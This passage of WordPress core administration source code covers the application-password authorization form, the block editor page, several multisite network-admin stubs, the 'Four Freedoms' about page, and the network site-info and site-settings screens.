				</div>

				<?php
				/**
				 * Fires in the Authorize Application Password form before the submit buttons.
				 *
				 * @since 5.6.0
				 *
				 * @param array   $request {
				 *     The array of request data. All arguments are optional and may be empty.
				 *
				 *     @type string $app_name    The suggested name of the application.
				 *     @type string $success_url The URL the user will be redirected to after approving the application.
				 *     @type string $reject_url  The URL the user will be redirected to after rejecting the application.
				 * }
				 * @param WP_User $user The user authorizing the application.
				 */
				do_action( 'wp_authorize_application_password_form', $request, $user );
				?>

				<?php
				submit_button(
					__( 'Yes, I approve of this connection' ),
					'primary',
					'approve',
					false,
					array(
						'aria-describedby' => 'description-approve',
					)
				);
				?>
				<p class="description" id="description-approve">
					<?php
					if ( $success_url ) {
						printf(
							/* translators: %s: The URL the user is being redirected to. */
							__( 'You will be sent to %s' ),
							'<strong><code>' . esc_html(
								add_query_arg(
									array(
										'site_url'   => site_url(),
										'user_login' => $user->user_login,
										'password'   => '[------]',
									),
									$success_url
								)
							) . '</code></strong>'
						);
					} else {
						_e( 'You will be given a password to manually enter into the application in question.' );
					}
					?>
				</p>

				<?php
				submit_button(
					__( 'No, I do not approve of this connection' ),
					'secondary',
					'reject',
					false,
					array(
						'aria-describedby' => 'description-reject',
					)
				);
				?>
				<p class="description" id="description-reject">
					<?php
					if ( $reject_url ) {
						printf(
							/* translators: %s: The URL the user is being redirected to. */
							__( 'You will be sent to %s' ),
							'<strong><code>' . esc_html( $reject_url ) . '</code></strong>'
						);
					} else {
						_e( 'You will be returned to the WordPress Dashboard, and no changes will be made.' );
					}
					?>
				</p>
			</form>
		<?php endif; ?>
	</div>
</div>
<?php

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * The block editor page.
 *
 * @since 5.0.0
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * @global string       $post_type
 * @global WP_Post_Type $post_type_object
 * @global WP_Post      $post             Global post object.
 * @global string       $title
 * @global array        $wp_meta_boxes
 */
global $post_type, $post_type_object, $post, $title, $wp_meta_boxes;

$block_editor_context = new WP_Block_Editor_Context( array( 'post' => $post ) );

// Flag that we're loading the block editor.
$current_screen = get_current_screen();
$current_screen->is_block_editor( true );

// Default to is-fullscreen-mode to avoid jumps in the UI.
add_filter(
	'admin_body_class',
	static function ( $classes ) {
		return "$classes is-fullscreen-mode";
	}
);

/*
 * Emoji replacement is disabled for now, until it plays nicely with React.
 */
remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );

/*
 * Block editor implements its own Options menu for toggling Document Panels.
 */
add_filter( 'screen_options_show_screen', '__return_false' );

wp_enqueue_script( 'heartbeat' );
wp_enqueue_script( 'wp-edit-post' );

$rest_path = rest_get_route_for_post( $post );

// Preload common data.
$preload_paths = array(
	'/wp/v2/types?context=view',
	'/wp/v2/taxonomies?context=view',
	add_query_arg(
		array(
			'context'  => 'edit',
			'per_page' => -1,
		),
		rest_get_route_for_post_type_items( 'wp_block' )
	),
	add_query_arg( 'context', 'edit', $rest_path ),
	sprintf( '/wp/v2/types/%s?context=edit', $post_type ),
	'/wp/v2/users/me',
	array( rest_get_route_for_post_type_items( 'attachment' ), 'OPTIONS' ),
	array( rest_get_route_for_post_type_items( 'page' ), 'OPTIONS' ),
	array( rest_get_route_for_post_type_items( 'wp_block' ), 'OPTIONS' ),
	array( rest_get_route_for_post_type_items( 'wp_template' ), 'OPTIONS' ),
	sprintf( '%s/autosaves?context=edit', $rest_path ),
	'/wp/v2/settings',
	array( '/wp/v2/settings', 'OPTIONS' ),
);

block_editor_rest_api_preload( $preload_paths, $block_editor_context );

wp_add_inline_script(
	'wp-blocks',
	sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( get_block_categories( $post ) ) ),
	'after'
);

/*
 * Assign initial edits, if applicable. These are not initially assigned to the persisted post,
 * but should be included in its save payload.
 */
$initial_edits = array();
$is_new_post   = false;
if ( 'auto-draft' === $post->post_status ) {
	$is_new_post = true;
	// Override "(Auto Draft)" new post default title with empty string, or filtered value.
	if ( post_type_supports( $post->post_type, 'title' ) ) {
		$initial_edits['title'] = $post->post_title;
	}

	if ( post_type_supports( $post->post_type, 'editor' ) ) {
		$initial_edits['content'] = $post->post_content;
	}

	if ( post_type_supports( $post->post_type, 'excerpt' ) ) {
		$initial_edits['excerpt'] = $post->post_excerpt;
	}
}

// Preload server-registered block schemas.
wp_add_inline_script(
	'wp-blocks',
	'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings() ) . ');'
);

// Get admin url for handling meta boxes.
$meta_box_url = admin_url( 'post.php' );
$meta_box_url = add_query_arg(
	array(
		'post'                  => $post->ID,
		'action'                => 'edit',
		'meta-box-loader'       => true,
		'meta-box-loader-nonce' => wp_create_nonce( 'meta-box-loader' ),
	),
	$meta_box_url
);
wp_add_inline_script(
	'wp-editor',
	sprintf( 'var _wpMetaBoxUrl = %s;', wp_json_encode( $meta_box_url ) ),
	'before'
);

/*
 * Get all available templates for the post/page attributes meta-box.
 * The "Default template" array element should only be added if the array is
 * not empty so we do not trigger the template select element without any options
 * besides the default value.
 */
$available_templates = wp_get_theme()->get_page_templates( get_post( $post->ID ) );
$available_templates = ! empty( $available_templates ) ? array_replace(
	array(
		/** This filter is documented in wp-admin/includes/meta-boxes.php */
		'' => apply_filters( 'default_page_template_title', __( 'Default template' ), 'rest-api' ),
	),
	$available_templates
) : $available_templates;

// Lock settings.
$user_id = wp_check_post_lock( $post->ID );
if ( $user_id ) {
	$locked = false;

	/** This filter is documented in wp-admin/includes/post.php */
	if ( apply_filters( 'show_post_locked_dialog', true, $post, $user_id ) ) {
		$locked = true;
	}

	$user_details = null;
	if ( $locked ) {
		$user         = get_userdata( $user_id );
		$user_details = array(
			'avatar' => get_avatar_url( $user_id, array( 'size' => 128 ) ),
			'name'   => $user->display_name,
		);
	}

	$lock_details = array(
		'isLocked' => $locked,
		'user'     => $user_details,
	);
} else {
	// Lock the post.
	$active_post_lock = wp_set_post_lock( $post->ID );
	if ( $active_post_lock ) {
		$active_post_lock = esc_attr( implode( ':', $active_post_lock ) );
	}

	$lock_details = array(
		'isLocked'       => false,
		'activePostLock' => $active_post_lock,
	);
}

/**
 * Filters the body placeholder text.
 *
 * @since 5.0.0
 * @since 5.8.0 Changed the default placeholder text.
 *
 * @param string  $text Placeholder text. Default 'Type / to choose a block'.
 * @param WP_Post $post Post object.
 */
$body_placeholder = apply_filters( 'write_your_story', __( 'Type / to choose a block' ), $post );

$editor_settings = array(
	'availableTemplates'   => $available_templates,
	'disablePostFormats'   => ! current_theme_supports( 'post-formats' ),
	/** This filter is documented in wp-admin/edit-form-advanced.php */
	'titlePlaceholder'     => apply_filters( 'enter_title_here', __( 'Add title' ), $post ),
	'bodyPlaceholder'      => $body_placeholder,
	'autosaveInterval'     => AUTOSAVE_INTERVAL,
	'richEditingEnabled'   => user_can_richedit(),
	'postLock'             => $lock_details,
	'postLockUtils'        => array(
		'nonce'       => wp_create_nonce( 'lock-post_' . $post->ID ),
		'unlockNonce' => wp_create_nonce( 'update-post_' . $post->ID ),
		'ajaxUrl'     => admin_url( 'admin-ajax.php' ),
	),
	'supportsLayout'       => wp_theme_has_theme_json(),
	'supportsTemplateMode' => current_theme_supports( 'block-templates' ),

	// Whether or not to load the 'postcustom' meta box is stored as a user meta
	// field so that we're not always loading its assets.
	'enableCustomFields'   => (bool) get_user_meta( get_current_user_id(), 'enable_custom_fields', true ),
);

// Add additional back-compat patterns registered by `current_screen` et al.
$editor_settings['__experimentalAdditionalBlockPatterns']          = WP_Block_Patterns_Registry::get_instance()->get_all_registered( true );
$editor_settings['__experimentalAdditionalBlockPatternCategories'] = WP_Block_Pattern_Categories_Registry::get_instance()->get_all_registered( true );

$autosave = wp_get_post_autosave( $post->ID );
if ( $autosave ) {
	if ( mysql2date( 'U', $autosave->post_modified_gmt, false ) > mysql2date( 'U', $post->post_modified_gmt, false ) ) {
		$editor_settings['autosave'] = array(
			'editLink' => get_edit_post_link( $autosave->ID ),
		);
	} else {
		wp_delete_post_revision( $autosave->ID );
	}
}

if ( ! empty( $post_type_object->template ) ) {
	$editor_settings['template']     = $post_type_object->template;
	$editor_settings['templateLock'] = ! empty( $post_type_object->template_lock ) ? $post_type_object->template_lock : false;
}

// If there's no template set on a new post, use the post format, instead.
if ( $is_new_post && ! isset( $editor_settings['template'] ) && 'post' === $post->post_type ) {
	$post_format = get_post_format( $post );
	if ( in_array( $post_format, array( 'audio', 'gallery', 'image', 'quote', 'video' ), true ) ) {
		$editor_settings['template'] = array( array( "core/$post_format" ) );
	}
}

if ( wp_is_block_theme() && $editor_settings['supportsTemplateMode'] ) {
	$editor_settings['defaultTemplatePartAreas'] = get_allowed_block_template_part_areas();
}

/**
 * Scripts
 */
wp_enqueue_media(
	array(
		'post' => $post->ID,
	)
);
wp_tinymce_inline_scripts();
wp_enqueue_editor();

/**
 * Styles
 */
wp_enqueue_style( 'wp-edit-post' );

/**
 * Fires after block assets have been enqueued for the editing interface.
 *
 * Call `add_action` on any hook before 'admin_enqueue_scripts'.
 *
 * In the function call you supply, simply use `wp_enqueue_script` and
 * `wp_enqueue_style` to add your functionality to the block editor.
 *
 * @since 5.0.0
 */
do_action( 'enqueue_block_editor_assets' );

// In order to duplicate classic meta box behavior, we need to run the classic meta box actions.
require_once ABSPATH . 'wp-admin/includes/meta-boxes.php';
register_and_do_post_meta_boxes( $post );

// Check if the Custom Fields meta box has been removed at some point.
$core_meta_boxes = $wp_meta_boxes[ $current_screen->id ]['normal']['core'];
if ( ! isset( $core_meta_boxes['postcustom'] ) || ! $core_meta_boxes['postcustom'] ) {
	unset( $editor_settings['enableCustomFields'] );
}

$editor_settings = get_block_editor_settings( $editor_settings, $block_editor_context );

$init_script = <<<JS
( function() {
	window._wpLoadBlockEditor = new Promise( function( resolve ) {
		wp.domReady( function() {
			resolve( wp.editPost.initializeEditor( 'editor', "%s", %d, %s, %s ) );
		} );
	} );
} )();
JS;

$script = sprintf(
	$init_script,
	$post->post_type,
	$post->ID,
	wp_json_encode( $editor_settings ),
	wp_json_encode( $initial_edits )
);
wp_add_inline_script( 'wp-edit-post', $script );

if ( (int) get_option( 'page_for_posts' ) === $post->ID ) {
	add_action( 'admin_enqueue_scripts', '_wp_block_editor_posts_page_notice' );
}

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="block-editor">
	<h1 class="screen-reader-text hide-if-no-js"><?php echo esc_html( $title ); ?></h1>
	<div id="editor" class="block-editor__container hide-if-no-js"></div>
	<div id="metaboxes" class="hidden">
		<?php the_block_editor_meta_boxes(); ?>
	</div>

	<?php // JavaScript is disabled. ?>
	<div class="wrap hide-if-js block-editor-no-js">
		<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>
		<?php
		if ( file_exists( WP_PLUGIN_DIR . '/classic-editor/classic-editor.php' ) ) {
			// If Classic Editor is already installed, provide a link to activate the plugin.
			$installed           = true;
			$plugin_activate_url = wp_nonce_url( 'plugins.php?action=activate&amp;plugin=classic-editor/classic-editor.php', 'activate-plugin_classic-editor/classic-editor.php' );
			$message             = sprintf(
				/* translators: %s: Link to activate the Classic Editor plugin. */
				__( 'The block editor requires JavaScript. Please enable JavaScript in your browser settings, or activate the <a href="%s">Classic Editor plugin</a>.' ),
				esc_url( $plugin_activate_url )
			);
		} else {
			// If Classic Editor is not installed, provide a link to install it.
			$installed          = false;
			$plugin_install_url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=classic-editor' ), 'install-plugin_classic-editor' );
			$message            = sprintf(
				/* translators: %s: Link to install the Classic Editor plugin. */
				__( 'The block editor requires JavaScript. Please enable JavaScript in your browser settings, or install the <a href="%s">Classic Editor plugin</a>.' ),
				esc_url( $plugin_install_url )
			);
		}

		/**
		 * Filters the message displayed in the block editor interface when JavaScript is
		 * not enabled in the browser.
		 *
		 * @since 5.0.3
		 * @since 6.4.0 Added `$installed` parameter.
		 *
		 * @param string  $message   The message being displayed.
		 * @param WP_Post $post      The post being edited.
		 * @param bool    $installed Whether the classic editor is installed.
		 */
		$message = apply_filters( 'block_editor_no_javascript_message', $message, $post, $installed );
		wp_admin_notice(
			$message,
			array(
				'type' => 'error',
			)
		);
		?>
	</div>
</div>
<?php
/**
 * Multisite administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

require_once __DIR__ . '/admin.php';

wp_redirect( network_admin_url() );
exit;
<?php
/**
 * Multisite network settings administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

require_once __DIR__ . '/admin.php';

wp_redirect( network_admin_url( 'settings.php' ) );
<?php
/**
 * Your Rights administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

// This file was used to also display the Privacy tab on the About screen from 4.9.6 until 5.3.0.
if ( isset( $_GET['privacy-notice'] ) ) {
	wp_redirect( admin_url( 'privacy.php' ), 301 );
	exit;
}

// Used in the HTML title tag.
$title = __( 'Freedoms' );

list( $display_version ) = explode( '-', get_bloginfo( 'version' ) );

require_once ABSPATH . 'wp-admin/admin-header.php';
?>
<div class="wrap about__container">

	<div class="about__header">
		<div class="about__header-title">
			<h1>
				<?php _e( 'The Four Freedoms' ); ?>
			</h1>
		</div>

		<div class="about__header-text">
			<?php _e( 'WordPress is free and open source software' ); ?>
		</div>
	</div>

	<nav class="about__header-navigation nav-tab-wrapper wp-clearfix" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
		<a href="about.php" class="nav-tab"><?php _e( 'What&#8217;s New' ); ?></a>
		<a href="credits.php" class="nav-tab"><?php _e( 'Credits' ); ?></a>
		<a href="freedoms.php" class="nav-tab nav-tab-active" aria-current="page"><?php _e( 'Freedoms' ); ?></a>
		<a href="privacy.php" class="nav-tab"><?php _e( 'Privacy' ); ?></a>
		<a href="contribute.php" class="nav-tab"><?php _e( 'Get Involved' ); ?></a>
	</nav>

	<div class="about__section is-feature">
		<p class="about-description">
		<?php
		printf(
			/* translators: %s: https://wordpress.org/about/license/ */
			__( 'WordPress comes with some awesome, worldview-changing rights courtesy of its <a href="%s">license</a>, the GPL.' ),
			__( 'https://wordpress.org/about/license/' )
		);
		?>
		</p>
	</div>

	<div class="about__section has-2-columns">
		<div class="column aligncenter">
			<img class="freedom-image" src="<?php echo esc_url( admin_url( 'images/freedom-1.svg?ver=6.5' ) ); ?>" alt="" />
			<h2 class="is-smaller-heading"><?php _e( 'The 1st Freedom' ); ?></h2>
			<p><?php _e( 'To run the program for any purpose.' ); ?></p>
		</div>
		<div class="column aligncenter">
			<img class="freedom-image" src="<?php echo esc_url( admin_url( 'images/freedom-2.svg?ver=6.5' ) ); ?>" alt="" />
			<h2 class="is-smaller-heading"><?php _e( 'The 2nd Freedom' ); ?></h2>
			<p><?php _e( 'To study how the program works and change it to make it do what you wish.' ); ?></p>
		</div>
		<div class="column aligncenter">
			<img class="freedom-image" src="<?php echo esc_url( admin_url( 'images/freedom-3.svg?ver=6.5' ) ); ?>" alt="" />
			<h2 class="is-smaller-heading"><?php _e( 'The 3rd Freedom' ); ?></h2>
			<p><?php _e( 'To redistribute.' ); ?></p>
		</div>
		<div class="column aligncenter">
			<img class="freedom-image" src="<?php echo esc_url( admin_url( 'images/freedom-4.svg?ver=6.5' ) ); ?>" alt="" />
			<h2 class="is-smaller-heading"><?php _e( 'The 4th Freedom' ); ?></h2>
			<p><?php _e( 'To distribute copies of your modified versions to others.' ); ?></p>
		</div>
	</div>

	<div class="about__section has-1-column">
		<div class="column">
			<p>
			<?php
			printf(
				/* translators: %s: https://wordpressfoundation.org/trademark-policy/ */
				__( 'WordPress grows when people like you tell their friends about it, and the thousands of businesses and services that are built on and around WordPress share that fact with their users. We are flattered every time someone spreads the good word, just make sure to <a href="%s">check out our trademark guidelines</a> first.' ),
				'https://wordpressfoundation.org/trademark-policy/'
			);
			?>
			</p>

			<p>
			<?php
			$plugins_url = current_user_can( 'activate_plugins' ) ? admin_url( 'plugins.php' ) : __( 'https://wordpress.org/plugins/' );
			$themes_url  = current_user_can( 'switch_themes' ) ? admin_url( 'themes.php' ) : __( 'https://wordpress.org/themes/' );
			printf(
				/* translators: 1: URL to Plugins screen, 2: URL to Themes screen, 3: https://wordpress.org/about/license/ */
				__( 'Every plugin and theme in WordPress.org&#8217;s directory is 100%% GPL or a similarly free and compatible license, so you can feel safe finding <a href="%1$s">plugins</a> and <a href="%2$s">themes</a> there. If you get a plugin or theme from another source, make sure to <a href="%3$s">ask them if it&#8217;s GPL</a> first. If they do not respect the WordPress license, it is not recommended to use them.' ),
				$plugins_url,
				$themes_url,
				__( 'https://wordpress.org/about/license/' )
			);
			?>
			</p>
		</div>
	</div>

</div>
<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php
/**
 * User profile network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/profile.php';
<?php
/**
 * Network About administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/about.php';
<?php
/**
 * Install plugin network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['tab'] ) && ( 'plugin-information' === $_GET['tab'] ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugin-install.php';
<?php
/**
 * Network Plugins administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugins.php';
<?php
/**
 * Theme file editor network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/theme-editor.php';
<?php
/**
 * Edit Site Info Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$parsed_scheme = parse_url( $details->siteurl, PHP_URL_SCHEME );
$is_main_site  = is_main_site( $id );

if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] ) {
	check_admin_referer( 'edit-site' );

	switch_to_blog( $id );

	// Rewrite rules can't be flushed during switch to blog.
	delete_option( 'rewrite_rules' );

	$blog_data           = wp_unslash( $_POST['blog'] );
	$blog_data['scheme'] = $parsed_scheme;

	if ( $is_main_site ) {
		// On the network's main site, don't allow the domain or path to change.
		$blog_data['domain'] = $details->domain;
		$blog_data['path']   = $details->path;
	} else {
		// For any other site, the scheme, domain, and path can all be changed. We first
		// need to ensure a scheme has been provided, otherwise fallback to the existing.
		$new_url_scheme = parse_url( $blog_data['url'], PHP_URL_SCHEME );

		if ( ! $new_url_scheme ) {
			$blog_data['url'] = esc_url( $parsed_scheme . '://' . $blog_data['url'] );
		}
		$update_parsed_url = parse_url( $blog_data['url'] );

		// If a path is not provided, use the default of `/`.
		if ( ! isset( $update_parsed_url['path'] ) ) {
			$update_parsed_url['path'] = '/';
		}

		$blog_data['scheme'] = $update_parsed_url['scheme'];
		$blog_data['domain'] = $update_parsed_url['host'];
		$blog_data['path']   = $update_parsed_url['path'];
	}

	$existing_details     = get_site( $id );
	$blog_data_checkboxes = array( 'public', 'archived', 'spam', 'mature', 'deleted' );

	foreach ( $blog_data_checkboxes as $c ) {
		if ( ! in_array( (int) $existing_details->$c, array( 0, 1 ), true ) ) {
			$blog_data[ $c ] = $existing_details->$c;
		} else {
			$blog_data[ $c ] = isset( $_POST['blog'][ $c ] ) ? 1 : 0;
		}
	}

	update_blog_details( $id, $blog_data );

	// Maybe update home and siteurl options.
	$new_details = get_site( $id );

	$old_home_url    = trailingslashit( esc_url( get_option( 'home' ) ) );
	$old_home_parsed = parse_url( $old_home_url );

	if ( $old_home_parsed['host'] === $existing_details->domain && $old_home_parsed['path'] === $existing_details->path ) {
		$new_home_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
		update_option( 'home', $new_home_url );
	}

	$old_site_url    = trailingslashit( esc_url( get_option( 'siteurl' ) ) );
	$old_site_parsed = parse_url( $old_site_url );

	if ( $old_site_parsed['host'] === $existing_details->domain && $old_site_parsed['path'] === $existing_details->path ) {
		$new_site_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
		update_option( 'siteurl', $new_site_url );
	}

	restore_current_blog();
	wp_redirect(
		add_query_arg(
			array(
				'update' => 'updated',
				'id'     => $id,
			),
			'site-info.php'
		)
	);
	exit;
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'updated' === $_GET['update'] ) {
		$messages[] = __( 'Site info updated.' );
	}
}

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-info',
	)
);

if ( ! empty( $messages ) ) {
	$notice_args = array(
		'type'        => 'success',
		'dismissible' => true,
		'id'          => 'message',
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?>
<form method="post" action="site-info.php?action=update-site">
	<?php wp_nonce_field( 'edit-site' ); ?>
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<?php
		// The main site of the network should not be updated on this page.
		if ( $is_main_site ) :
			?>
		<tr class="form-field">
			<th scope="row"><?php _e( 'Site Address (URL)' ); ?></th>
			<td><?php echo esc_url( $parsed_scheme . '://' . $details->domain . $details->path ); ?></td>
		</tr>
			<?php
			// For any other site, the scheme, domain, and path can all be changed.
		else :
			?>
		<tr class="form-field form-required">
			<th scope="row"><label for="url"><?php _e( 'Site Address (URL)' ); ?></label></th>
			<td><input name="blog[url]" type="text" id="url" value="<?php echo $parsed_scheme . '://' . esc_attr( $details->domain ) . esc_attr( $details->path ); ?>" /></td>
		</tr>
		<?php endif; ?>

		<tr class="form-field">
			<th scope="row"><label for="blog_registered"><?php _ex( 'Registered', 'site' ); ?></label></th>
			<td><input name="blog[registered]" type="text" id="blog_registered" value="<?php echo esc_attr( $details->registered ); ?>" /></td>
		</tr>
		<tr class="form-field">
			<th scope="row"><label for="blog_last_updated"><?php _e( 'Last Updated' ); ?></label></th>
			<td><input name="blog[last_updated]" type="text" id="blog_last_updated" value="<?php echo esc_attr( $details->last_updated ); ?>" /></td>
		</tr>
		<?php
		$attribute_fields = array( 'public' => _x( 'Public', 'site' ) );
		if ( ! $is_main_site ) {
			$attribute_fields['archived'] = __( 'Archived' );
			$attribute_fields['spam']     = _x( 'Spam', 'site' );
			$attribute_fields['deleted']  = __( 'Deleted' );
		}
		$attribute_fields['mature'] = __( 'Mature' );
		?>
		<tr>
			<th scope="row"><?php _e( 'Attributes' ); ?></th>
			<td>
			<fieldset>
			<legend class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Set site attributes' );
				?>
			</legend>
			<?php foreach ( $attribute_fields as $field_key => $field_label ) : ?>
				<label><input type="checkbox" name="blog[<?php echo $field_key; ?>]" value="1" <?php checked( (bool) $details->$field_key, true ); ?> <?php disabled( ! in_array( (int) $details->$field_key, array( 0, 1 ), true ) ); ?> />
				<?php echo $field_label; ?></label><br />
			<?php endforeach; ?>
			<fieldset>
			</td>
		</tr>
	</table>

	<?php
	/**
	 * Fires at the end of the site info form in network admin.
	 *
	 * @since 5.6.0
	 *
	 * @param int $id The site ID.
	 */
	do_action( 'network_site_info_form', $id );

	submit_button();
	?>
</form>

</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Edit Site Settings Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] && is_array( $_POST['option'] ) ) {
	check_admin_referer( 'edit-site' );

	switch_to_blog( $id );

	$skip_options = array( 'allowedthemes' ); // Don't update these options since they are handled elsewhere in the form.
	foreach ( (array) $_POST['option'] as $key => $val ) {
		$key = wp_unslash( $key );
		$val = wp_unslash( $val );
		if ( 0 === $key || is_array( $val ) || in_array( $key, $skip_options, true ) ) {
			continue; // Avoids "0 is a protected WP option and may not be modified" error when editing blog options.
		}
		update_option( $key, $val );
	}

	/**
	 * Fires after the site options are updated.
	 *
	 * @since 3.0.0
	 * @since 4.4.0 Added `$id` parameter.
	 *
	 * @param int $id The ID of the site being updated.
	 */
	do_action( 'wpmu_update_blog_options', $id );

	restore_current_blog();
	wp_redirect(
		add_query_arg(
			array(
				'update' => 'updated',
				'id'     => $id,
			),
			'site-settings.php'
		)
	);
	exit;
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'updated' === $_GET['update'] ) {
		$messages[] = __( 'Site options updated.' );
	}
}

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>

<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-settings',
	)
);

if ( ! empty( $messages ) ) {
	$notice_args = array(
		'type'        => 'success',
		'dismissible' => true,
		'id'          => 'message',
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?>
<form method="post" action="site-settings.php?action=update-site">
	<?php wp_nonce_field( 'edit-site' ); ?>
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<?php
		$blog_prefix = $wpdb->get_blog_prefix( $id );
		$sql         = "SELECT * FROM {$blog_prefix}options
			WHERE option_name NOT LIKE %s
			AND option_name NOT LIKE %s";
		$query       = $wpdb->prepare(
			$sql,
			$wpdb->esc_like( '_' ) . '%',
			'%' . $wpdb->esc_like( 'user_roles' )
		);
		$options     = $wpdb->get_results( $query );

		foreach ( $options as $option ) {
			if ( 'default_role' === $option->option_name ) {
				$editblog_default_role = $option->option_value;
			}

			$disabled = false;
			$class    = 'all-options';

			if ( is_serialized( $option->option_value ) ) {
				if ( is_serialized_string( $option->option_value ) ) {
					$option->option_value = esc_html( maybe_unserialize( $option->option_value ) );
				} else {
					$option->option_value = 'SERIALIZED DATA';
					$disabled             = true;
					$class                = 'all-options disabled';
				}
			}

			if ( str_contains( $option->option_value, "\n" ) ) {
				?>
				<tr class="form-field">
					<th scope="row"><label for="<?php echo esc_attr( $option->option_name ); ?>" class="code"><?php echo esc_html( $option->option_name ); ?></label></th>
					<td><textarea class="<?php echo $class; ?>" rows="5" cols="40" name="option[<?php echo esc_attr( $option->option_name ); ?>]" id="<?php echo esc_attr( $option->option_name ); ?>"<?php disabled( $disabled ); ?>><?php echo esc_textarea( $option->option_value ); ?></textarea></td>
				</tr>
				<?php
			} else {
				?>
				<tr class="form-field">
					<th scope="row"><label for="<?php echo esc_attr( $option->option_name ); ?>" class="code"><?php echo esc_html( $option->option_name ); ?></label></th>
					<?php if ( $is_main_site && in_array( $option->option_name, array( 'siteurl', 'home' ), true ) ) { ?>
